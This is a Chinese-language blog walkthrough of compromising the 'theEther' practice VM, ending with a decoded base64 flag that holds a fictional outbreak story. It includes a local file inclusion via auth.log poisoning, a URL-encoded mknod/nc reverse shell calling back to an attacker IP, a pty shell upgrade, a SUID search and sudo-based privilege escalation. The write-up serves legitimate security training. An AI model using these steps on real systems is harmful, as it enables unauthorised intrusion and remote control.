靶机地址:
通过百度网盘分享的文件:theEther_1.0.1.zip
链接:https://pan.baidu.com/s/1v4aFYA6jH8Uotm866pVHBg?pwd=v5f9
提取码:v5f9
--来自百度网盘超级会员V1的分享
实现步骤:
探测目标靶机IP地址
使用nmap扫描目标IP,发现目标靶机开放了22,80端口
访问网页192.168.111.129
查看网页源码发现没有可用信息,接着使用dirsearch扫描目录
没有发现有用的目录,再使用dirbuster扫描
访问一下80端口发现顶部有几个链接,点击发现是通过传参方式显示了页面,看到“index.php?file=”,很大可能存在文件包含漏洞
拼接/var/log/lastlog 页面会出现乱码
拼接/var/log/auth.log,有返回
利用ssh错误日志写入一句话木马
auth.log文件是我们尝试连接服务器时生成日志。那么就可以利用这个功能,发送恶意PHP代码将恶意代码作为新日志自动添加到auth.log文件中。先看一下phpinfo是否能成功利用
反弹shell
需要进行编码绕过
mknod+backpipe+p+%26%26+nc+192.168.111.111+9999+0%3cbackpipe+%7c+%2fbin%2fbash+1%3ebackpipe
在kali中打开监听后,成功连接
python -c 'import pty;pty.spawn("/bin/bash")'
生成新的终端
查看是否属于sudo组,发现可以使用sudo权限,且不需要密码执行xxxlogauditorxxx.py文件
查看是否存在可提权SUID
find / -perm -u=s -type f 2>/dev/null
发现可以通过这个脚本执行命令,随后输入命令,提权成功
使用sudo权限不需要密码执行xxxlogauditorxxx.py,查看py文件的内容发现里边有很大一部分内容使用了base64编码;将xxxlogauditorxxx.py拷贝网网站目录下,使用wget下载查看py文件的内容
下载图片
wget http://192.168.232.200/?file=flag.png
查看图片发现字符串
flag: b2N0b2JlciAxLCAyMDE3LgpXZSBoYXZlIG9yIGZpcnN0IGJhdGNoIG9mIHZvbHVudGVlcnMgZm9yIHRoZSBnZW5vbWUgcHJvamVjdC4gVGhlIGdyb3VwIGxvb2tzIHByb21pc2luZywgd2UgaGF2ZSBoaWdoIGhvcGVzIGZvciB0aGlzIQoKT2N0b2JlciAzLCAyMDE3LgpUaGUgZmlyc3QgaHVtYW4gdGVzdCB3YXMgY29u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kIHZpcnVzLiBObyBwdWJsaWMgYW5ub3VuY2VtZW50IGhhcyBiZWVuIGRlY2xhcmVkLiBUaGUgQ0RDIGhhcyBiZWVuIHN1c3BpY2lvdXMgb2Ygb3VyIHRlc3RpbmdzIGFuZCBhcmUgY29uc2lkZXJpbmcgbWFydGlhbCBsYXdzIGluIHRoZSBldmVudCBvZiBhbiBvdXRicmVhayB0byB0aGUgZ2VuZXJhbCBwb3B1bGF0aW9uLgoKLS1Eb2N1bWVudCBzY2hlZHVsZWQgdG8gYmUgc2hyZWRkZWQgb24gT2N0b2JlciAxNXRoIGFmdGVyIFBTQS4K
通过base64解码得到flag
october 1, 2017.
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!
October 3, 2017.
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.
October 3, 2017.
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.
October 4, 2017.
Observing other candidates react to the injections. The ether seems to work for some but not for others. Keeping close observation on female specimen on October 3rd.
October 7, 2017.
The first flatline of the series occurred. The female subject passed. After decreasing, muscle contractions and life-like behaviors are still visible. This is impossible! Specimen has been moved to a containment quarantine for further evaluation.
October 8, 2017.
Other candidates are beginning to exhibit similar symptoms and patterns as female specimen. Planning to move them to quarantine as well.
October 10, 2017.
Isolated and exposed subject are dead, cold, moving, gnarling, and attracted to flesh and/or blood. Cannibalistic-like behaviour detected. An antidote/vaccine has been proposed.
October 11, 2017.
Hundreds of people have been burned and buried due to the side effects of the ether. The building will be burned along with the experiments conducted to cover up the story.
October 13, 2017.
We have decided to stop conducting these experiments due to the lack of antidote or ether. The main reason being the numerous death due to the subjects displaying extreme reactions the the engineered virus. No public announcement has been declared. The CDC has been suspicious of our testings and are considering martial laws in the event of an outbreak to the general population.
--Document scheduled to be shredded on October 15th after PSA.
标签:October,log,渗透,py,been,evilscience,靶机,2017,first From: https://blog.csdn.net/weixin_72060499/article/details/144156083